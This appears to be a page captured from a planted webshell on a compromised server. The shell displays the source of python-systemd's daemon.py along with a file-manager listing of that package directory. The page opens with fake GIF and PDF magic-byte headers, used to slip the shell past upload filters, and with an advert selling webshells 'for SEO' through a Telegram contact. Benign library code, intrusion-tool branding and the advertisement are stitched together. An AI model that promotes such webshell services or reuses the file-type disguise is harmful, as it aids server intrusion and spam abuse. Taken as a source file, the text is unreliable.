GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from socket import AF_UNSPEC as _AF_UNSPEC
from ._daemon import (__version__,
booted,
notify,
_listen_fds,
_is_fifo,
_is_socket,
_is_socket_inet,
_is_socket_sockaddr,
_is_socket_unix,
_is_mq,
LISTEN_FDS_START)
def _convert_fileobj(fileobj):
try:
return fileobj.fileno()
except AttributeError:
return fileobj
def is_fifo(fileobj, path=None):
fd = _convert_fileobj(fileobj)
return _is_fifo(fd, path)
def is_socket(fileobj, family=_AF_UNSPEC, type=0, listening=-1):
fd = _convert_fileobj(fileobj)
return _is_socket(fd, family, type, listening)
def is_socket_inet(fileobj, family=_AF_UNSPEC, type=0, listening=-1, port=0):
fd = _convert_fileobj(fileobj)
return _is_socket_inet(fd, family, type, listening, port)
def is_socket_sockaddr(fileobj, address, type=0, flowinfo=0, listening=-1):
"""Check socket type, address and/or port, flowinfo, listening state.
Wraps sd_is_socket_inet_sockaddr(3).
`address` is a systemd-style numerical IPv4 or IPv6 address as used in
ListenStream=. A port may be included after a colon (":").
See systemd.socket(5) for details.
Constants for `family` are defined in the socket module.
"""
fd = _convert_fileobj(fileobj)
return _is_socket_sockaddr(fd, address, type, flowinfo, listening)
def is_socket_unix(fileobj, type=0, listening=-1, path=None):
fd = _convert_fileobj(fileobj)
return _is_socket_unix(fd, type, listening, path)
def is_mq(fileobj, path=None):
fd = _convert_fileobj(fileobj)
return _is_mq(fd, path)
def listen_fds(unset_environment=True):
"""Return a list of socket activated descriptors
Example::
(in primary window)
$ systemd-activate -l 2000 python3 -c \\
'from systemd.daemon import listen_fds; print(listen_fds())'
(in another window)
$ telnet localhost 2000
(in primary window)
...
Execing python3 (...)
[3]
"""
num = _listen_fds(unset_environment)
return list(range(LISTEN_FDS_START, LISTEN_FDS_START + num))
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| test | Folder | 0755 |
|
|
| __init__.py | File | 759 B | 0644 |
|
| _daemon.cpython-310-x86_64-linux-gnu.so | File | 22.92 KB | 0644 |
|
| _journal.cpython-310-x86_64-linux-gnu.so | File | 14.47 KB | 0644 |
|
| _reader.cpython-310-x86_64-linux-gnu.so | File | 44.78 KB | 0644 |
|
| daemon.py | File | 2.22 KB | 0644 |
|
| id128.cpython-310-x86_64-linux-gnu.so | File | 18.53 KB | 0644 |
|
| journal.py | File | 21.72 KB | 0644 |
|
| login.cpython-310-x86_64-linux-gnu.so | File | 23.41 KB | 0644 |
|